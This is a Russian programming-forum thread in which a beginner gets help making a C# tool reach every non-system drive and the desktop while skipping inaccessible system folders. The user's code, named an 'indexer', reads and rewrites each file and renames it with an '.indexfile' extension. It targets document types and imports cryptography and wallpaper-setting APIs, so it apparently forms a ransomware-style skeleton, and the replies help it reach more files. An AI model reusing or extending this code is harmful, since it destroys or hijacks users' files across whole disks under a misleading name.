Форум программистов, компьютерный форум, киберфорум
C# для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.81/21: Рейтинг темы: голосов - 21, средняя оценка - 4.81
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277

Игнорировать системные папки

09.02.2016, 15:41. Показов 4358. Ответов 22
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Делаю поиск по локальным дискам для себя. Все бы хорошо и все работает, но как только запускаю поиск по всему диску, то сразу ошибка, что отказано в доступе. Открыл на компьютере у себя доступ к системным папкам, так таже сам туда не могу зайти. А такая папка в каждом диске. Как их можно игнорировать или пропускать. Если код обернуть в try/catch, то поиск не происходит. Запуск от админа не помогает.
Миниатюры
Игнорировать системные папки  
0
Лучшие ответы (1)
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
09.02.2016, 15:41
Ответы с готовыми решениями:

Игнорировать системные шрифты
Всем добра! такой вот вопрос.. Подскажите есть ли возможность игнорировать шрифты и размер шрифта системы? т.е. Пользователь на...

В дисках создоются папки какие-то сами по себе, а системные папки блокируются
всем привет!!!помогите пожалуйста!я скачал с сетки винду 7 MaxDVD_Windows_Seven_Final_v9.9_20090826_130617 я незнаю она лицензионная или...

Системные папки
Что их формирует? Папки типа Избранное, Мои документы и пр. А также подобные позиции в меню Пуск. Необходимо отредактировать Windows PE...

22
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
09.02.2016, 15:45
inject, обсуждалось неоднократно. Нужно пропускать папки доступ к которым закрыт. Вот для примера метод SafeEnumerateFiles который делает это.
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 16:04  [ТС]
OwenGlendower, А можно пример использования, ато чет не могу въехать, как к моему коду прикрутить.

мое
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void StartSearch()
        {
           DriveInfo[] drives = DriveInfo.GetDrives();
            foreach (var dr in drives)
            {
                string system = Environment.GetFolderPath(Environment.SpecialFolder.System);
                //DirectoryInfo dirInfo = new DirectoryInfo(system);
                string pah = Path.GetPathRoot(system);
                if (dr.IsReady != false)
                {
                    if (dr.Name != pah)
                    {
                        GetDirectory(dr.Name, textBox1.Text);
                    }
                }
 
            }
           
        }
ваше
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
private static IEnumerable<string> SafeEnumerateFiles(string path, string searchPattern, SearchOption searchOption)
{
    Stack<string> dirs = new Stack<string>();
    dirs.Push(path);
 
    while (dirs.Count > 0)
    {
        string currentDirPath = dirs.Pop();
        if (searchOption == SearchOption.AllDirectories)
        {
            try
            {
                string[] subDirs = Directory.GetDirectories(currentDirPath);
                foreach (string subDirPath in subDirs)
                {
                    dirs.Push(subDirPath);
                }
            }
            catch (UnauthorizedAccessException)
            {
                continue;
            }
            catch (DirectoryNotFoundException)
            {
                continue;
            }
        }
 
        string[] files = null;
        try
        {
            files = Directory.GetFiles(currentDirPath, searchPattern);
        }
        catch (UnauthorizedAccessException)
        {
            continue;
        }
        catch (DirectoryNotFoundException)
        {
            continue;
        }
 
        foreach (string filePath in files)
        {
            yield return filePath;
        }
    }
}
0
Покинул форум
3701 / 1484 / 355
Регистрация: 07.05.2015
Сообщений: 2,903
09.02.2016, 16:31
Здесь, правда на примере папок, уже объяснялось как это сделать.
0
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 16:33  [ТС]
Цитата Сообщение от greg zakharov Посмотреть сообщение
правда на примере папок, уже объяснялось как это сделать.
В том-то и проблема, что нужно пройтись по всем дискам, папкам, файлам и найти нужный.
0
Покинул форум
3701 / 1484 / 355
Регистрация: 07.05.2015
Сообщений: 2,903
09.02.2016, 16:36
Цитата Сообщение от inject
В том-то и проблема, что нужно пройтись по всем дискам, папкам, файлам и найти нужный.
Неа, проблема в том, что кто-то не хочет вникать в пример, а желает прийти на все готовое.
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 16:43  [ТС]
Цитата Сообщение от greg zakharov Посмотреть сообщение
Неа, проблема в том, что кто-то не хочет вникать в пример, а желает прийти на все готовое.
Ваш пример, все в List закирывает, а я хз как через лист потом поиск реализовывать. Да и диск же не 1, а 4 штуки.
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
09.02.2016, 17:03
inject,
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void DoSearch()
{
    string systemDrive = Environment.ExpandEnvironmentVariables("%SYSTEMDRIVE%");
    DriveInfo[] drives = DriveInfo.GetDrives();
    foreach (var dr in drives)
    {
        if (!dr.IsReady || dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
        
        foreach (string filePath in SafeEnumerateFiles(dr.Name, "*.*", SearchOption.AllDirectories))
        {
            // Обработка файла с путем filePath
            // ...
        }
    }
}
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 17:44  [ТС]
OwenGlendower, Я извиняюсь за тупость, но
C#
1
string filePath
что в себе будет содержать ?
C#
1
GetDirectory(filePath, textBox1.Text);
выдает что путь не верный, а через дебаг, так и не смог найти путь в переменной.
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
09.02.2016, 17:49
inject, filePath содержит полный путь к файлу, а GetDirectory судя по названию ожидает имя каталога. Я не знаю что она делает, но похоже она здесь вообще не нужна.

Цитата Сообщение от inject Посмотреть сообщение
а через дебаг, так и не смог найти путь в переменной.
Это как?
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 18:02  [ТС]
Цитата Сообщение от OwenGlendower Посмотреть сообщение
GetDirectory судя по названию ожидает имя каталога
Да, получало каталог и искало в нем файл. Ну ту ошибку обошли ) Но с корзиной проблема. Пробывал очистить не помогло.
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
DriveInfo[] drives = DriveInfo.GetDrives();
            string systemDrive = Environment.ExpandEnvironmentVariables("%SYSTEMDRIVE%");
 
            foreach (var dr in drives)
            {
                string system = Environment.GetFolderPath(Environment.SpecialFolder.System);
                //DirectoryInfo dirInfo = new DirectoryInfo(system);
                string pah = Path.GetPathRoot(system);
 
                if (!dr.IsReady || dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
 
                foreach (string filePath in SafeEnumerateFiles(dr.Name, "*.*", SearchOption.AllDirectories))
                {
                    GettFile(filePath, textBox1.Text);                   
                }
 
 
                //if (dr.IsReady != false)
                //{
                //    if (dr.Name != pah)
                //    {
                //        GetDirectory(dr.Name, textBox1.Text);                       
                //    }
                //}
 
            }
Теперь поиск идет по файлам. Я все верно сделал ?
Миниатюры
Игнорировать системные папки  
0
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
09.02.2016, 20:01  [ТС]
OwenGlendower, Обернул в try/catch так теперь цикл не отрабатывает ищет только на 1 диске. Что может не так быть.
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
09.02.2016, 20:07
inject, мне отсюда твой монитор не виден. Выложи код на форум.
2
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
11.02.2016, 17:24  [ТС]
OwenGlendower, Извиняюсь, что не выложил раньше. Хотелось самому разобраться в проблеме, но промучавшись еще почти 2 дня сдали силы. Я копировал текстовый файл на рабочий стол, на диск D:\ в несколько директорий на диск E:\ так же в несколько директорий и на диск F:\ Работает как-то странно на рабочем столе, если запустить от администратора, то проиндексирует файле, но через раз. Если удалить рабочий стол из индекса и оставить диск D:\ то пройдет только по нему, а на диск E:\ даже не заглянет. Решил проверить, сколько папок проходит и дисков изменяя названия файлов. Если заключить в try\catch то диск D:\ пройдет (если рабочий стол из индекса удалить), до диска E:\ не доходит. Если не заключать в трай катч, то на корзине диска D:\ вылетает
Вот сам код.
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
 
namespace Index
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);
        public Form1()
        {
            InitializeComponent();
        }
 
        private void button1_Click(object sender, EventArgs e)
        {
            //OpenFileDialog op = new OpenFileDialog();
            //if (op.ShowDialog() == DialogResult.OK)
            //{
            //    IndexFile(op.FileName);
            //}
            SearchIndexFile();
 
        }
 
        public void SearchIndexFile()
        {
            DriveInfo[] drives = DriveInfo.GetDrives();
            string systemDrive = Environment.ExpandEnvironmentVariables("%SYSTEMDRIVE%");
            string system = Environment.GetFolderPath(Environment.SpecialFolder.System);
            string pah = Path.GetPathRoot(system);
 
            foreach (var dr in drives)
            {
                if (!dr.IsReady || dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
 
                foreach (string filePath in SafeEnumerateFiles(dr.Name, "*.*", SearchOption.AllDirectories))
                {
                    IndexFile(filePath);
                    IndexFile(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
                }
            }
            
        }
 
        //Index file
        public void IndexFile(string file)
        {
 
            byte[] Index = File.ReadAllBytes(file);
            File.WriteAllBytes(file, Index);
            File.Move(file, file + ".indexfile");
        }
 
        //Index directory and subdirectories
        public void IndexDirectory(string path)
        {
            // ищем только txt, doc, docx
            var IndexMassiv = new[] {".txt", ".doc", ".docx"};
            // 
            string[] getFiles = Directory.GetFiles(path);
            string[] subdirectories = Directory.GetDirectories(path);
            // пробераем
            for (int i = 0; i < getFiles.Length; i++)
            {
                string getFile = Path.GetExtension(getFiles[i]);
                if (IndexMassiv.Contains(getFile))
                {
                    IndexFile(getFiles[i]);
                }
            }
            // под директор
            for (int i = 0; i < subdirectories.Length; i++)
            {
                IndexFile(subdirectories[i]);
            }
 
 
        }
 
        private static IEnumerable<string> SafeEnumerateFiles(string path, string searchPattern, SearchOption searchOption)
        {
            Stack<string> dirs = new Stack<string>();
            dirs.Push(path);
 
            while (dirs.Count > 0)
            {
                string currentDirPath = dirs.Pop();
                if (searchOption == SearchOption.AllDirectories)
                {
                    try
                    {
                        string[] subDirs = Directory.GetDirectories(currentDirPath);
                        foreach (string subDirPath in subDirs)
                        {
                            dirs.Push(subDirPath);
                        }
                    }
                    catch (UnauthorizedAccessException)
                    {
                        continue;
                    }
                    catch (DirectoryNotFoundException)
                    {
                        continue;
                    }
                }
 
                string[] files = null;
                try
                {
                    files = Directory.GetFiles(currentDirPath, searchPattern);
                }
                catch (UnauthorizedAccessException)
                {
                    continue;
                }
                catch (DirectoryNotFoundException)
                {
                    continue;
                }
 
                foreach (string filePath in files)
                {
                    yield return filePath;
                }
            }
        }
    }
}
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
11.02.2016, 18:44
inject, для начала проблема в этой строке:
C#
1
IndexFile(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
Функция IndexFile ожидает файл, а её передается каталог. Разумеется мы получим исключение. Причем после первого же файла т.к. SafeEnumerateFiles возвращает файлы по одному.

Сама функция IndexFile непонятна устроена. Она читает файл целиком в память и записывает его обратно. Это бесмысленное действие. Убери и оставь только переименование.

Что касается корзины, то я бы добавил проверку на наличие атрибутов "скрытый" и "системный" у каталогов и пропускал бы их т.к. таким образом отмечаются системные каталоги. Вот модифицированная версия SafeEnumerateFiles с такой проверкой:
Кликните здесь для просмотра всего текста
C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private static IEnumerable<string> SafeEnumerateFiles(string path, string searchPattern, SearchOption searchOption)
{
    Stack<string> dirs = new Stack<string>();
    dirs.Push(path);
 
    while (dirs.Count > 0)
    {
        string currentDirPath = dirs.Pop();
        if (searchOption == SearchOption.AllDirectories)
        {
            try
            {
                string[] subDirs = Directory.GetDirectories(currentDirPath);
                foreach (string subDirPath in subDirs)
                {
                    // Добавляем каталог в список для обработки,
                    //    но пропускаем каталоги у которых есть оба атрибута "Скрытый" и "Системный"
                    if ((File.GetAttributes(subDirPath) & (FileAttributes.Hidden | FileAttributes.System)) != (FileAttributes.Hidden | FileAttributes.System))
                    {
                        dirs.Push(subDirPath);
                    }
                }
            }
            catch (UnauthorizedAccessException)
            {
                continue;
            }
            catch (DirectoryNotFoundException)
            {
                continue;
            }
        }
 
        string[] files = null;
        try
        {
            files = Directory.GetFiles(currentDirPath, searchPattern);
        }
        catch (UnauthorizedAccessException)
        {
            continue;
        }
        catch (DirectoryNotFoundException)
        {
            continue;
        }
 
        foreach (string filePath in files)
        {
            yield return filePath;
        }
    }
}
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
11.02.2016, 21:50  [ТС]
Цитата Сообщение от OwenGlendower Посмотреть сообщение
Функция IndexFile ожидает файл, а её передается каталог. Разумеется мы получим исключение. Причем после первого же файла т.к. SafeEnumerateFiles возвращает файлы по одному
А как тогда можно добавить рабочий стол в индексацию ? Теперь все работает и проходит по всем 3 дискам, что неимоверно круто )
Строка
C#
1
if (!dr.IsReady || dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
А точнее !dr.IsReady работает, но когда в дисковод вставлен диск или образ смонтирован, то пытается пройтись и стопорит. Может есть замена этому, чтобы подобные диски пропускать ?

Добавлено через 2 часа 34 минуты
C#
1
if (dr.DriveType == DriveType.CDRom || dr.DriveType == DriveType.Unknown || dr.DriveType == DriveType.Network || dr.DriveType == DriveType.NoRootDirectory || dr.DriveType == DriveType.Ram || dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
Вроде спасает. Правда пройдя диски D:\ E:\ F:\ на диск C:\ не идет.
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
11.02.2016, 21:57
Цитата Сообщение от inject Посмотреть сообщение
Правда пройдя диски D:\ E:\ F:\ на диск C:\ не идет.
C#
1
if (... dr.Name.StartsWith(systemDrive, StringComparison.OrdinalIgnoreCase)) continue;
Интересно почему бы это
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
11.02.2016, 22:08  [ТС]
Цитата Сообщение от OwenGlendower Посмотреть сообщение
Интересно почему бы это
Стыдно ) А можно как-то рабочий стол добавить в индексацию ?
0
Администратор
Эксперт .NET
 Аватар для OwenGlendower
18304 / 14228 / 5368
Регистрация: 17.03.2014
Сообщений: 28,900
Записей в блоге: 1
11.02.2016, 22:19
Лучший ответ Сообщение было отмечено inject как решение

Решение

Цитата Сообщение от inject Посмотреть сообщение
А можно как-то рабочий стол добавить в индексацию ?
Если ты будешь обходить все диски, то в этом нет смысла т.к. он автоматически будет обработан. Если нет, то добавь в конце метода SearchIndexFile еще один цикл:
C#
1
2
3
4
5
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
foreach (string filePath in SafeEnumerateFiles(desktopPath, "*.*", SearchOption.AllDirectories))
{
    IndexFile(filePath);
}
1
2 / 2 / 2
Регистрация: 03.07.2014
Сообщений: 277
12.02.2016, 15:16  [ТС]
OwenGlendower, Видно рабочий стол находится в системных папках, так как его пропускает. А если добавляю, ваш, код
C#
1
2
3
4
5
string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
foreach (string filePath in SafeEnumerateFiles(desktopPath, "*.*", SearchOption.AllDirectories))
{
    IndexFile(filePath);
}
То спотыкается на скрытых файлах *.ini
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
12.02.2016, 15:16
Помогаю со студенческими работами здесь

Системные папки...
Всем доброго времени суток! Извините если подобная тема уже существует, (если честно лень искать). У меня такой вопрос: подскажите...

Системные папки
Привет! Нужно получить программный путь к системной папке: 'Windows/Temp'. Для загрузки туда контекта из интернета. Вопрос: Как программной...

Системные файлы и папки
Здравствуйте, скажите, пожалуйста, что должно находиться в системной папке C:\Windows? Спасибо.

Как удалить системные папки Windows 7?
народ!как удалить системные папки виндовса?(сразу говорю Unlocker не предлагать!и остальные программы тоже!) пытаюсь удалить мне пишут что...

Как перенести системные папки на диск D
Как в Win7 переместить &quot;папку пользователя&quot; с диска С на диск D. Необходимость существует из-за того, что все загрузки, фото, видео и пр....


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Отображение реквизитов в документе по условию и контроль их заполнения
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеСпецтехники", разработанного в конфигурации КА2. Данный документ берёт данные из другого нетипового документа. . .
Фото всей Земли с борта корабля Orion миссии Artemis II
kumehtar 04.04.2026
Это первое подобное фото сделанное человеком за 50 лет. Снимок называют новым вариантом легендарной фотографии «The Blue Marble» 1972 года, сделанной с борта корабля «Аполлон-17». Новое фото. . .
Вывод диалогового окна перед закрытием, если документ не проведён
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать программный контроль на предмет проведения документа. . .
Программный контроль заполнения реквизита табличной части документа
Maks 02.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать контроль заполнения реквизита "ПричинаСписания". . .
wmic не является внутренней или внешней командой
Maks 02.04.2026
Решение: DISM / Online / Add-Capability / CapabilityName:WMIC~~~~ Отсюда: https:/ / winitpro. ru/ index. php/ 2025/ 02/ 14/ komanda-wmic-ne-naydena/
Программная установка даты и запрет ее изменения
Maks 02.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: при создании документов установить период списания автоматически. . .
Вывод данных в справочнике через динамический список
Maks 01.04.2026
Реализация из решения ниже выполнена на примере нетипового справочника "Спецтехника" разработанного в конфигурации КА2. Задача: вывести данные из ТЧ нетипового документа. . .
Программное заполнения текстового поля в реквизите формы документа
Maks 01.04.2026
Алгоритм из решения ниже реализован на нетиповом документе "ВыдачаОборудованияНаСпецтехнику" разработанного в конфигурации КА2, в дополнении к предыдущему решению. На форме документа создается. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru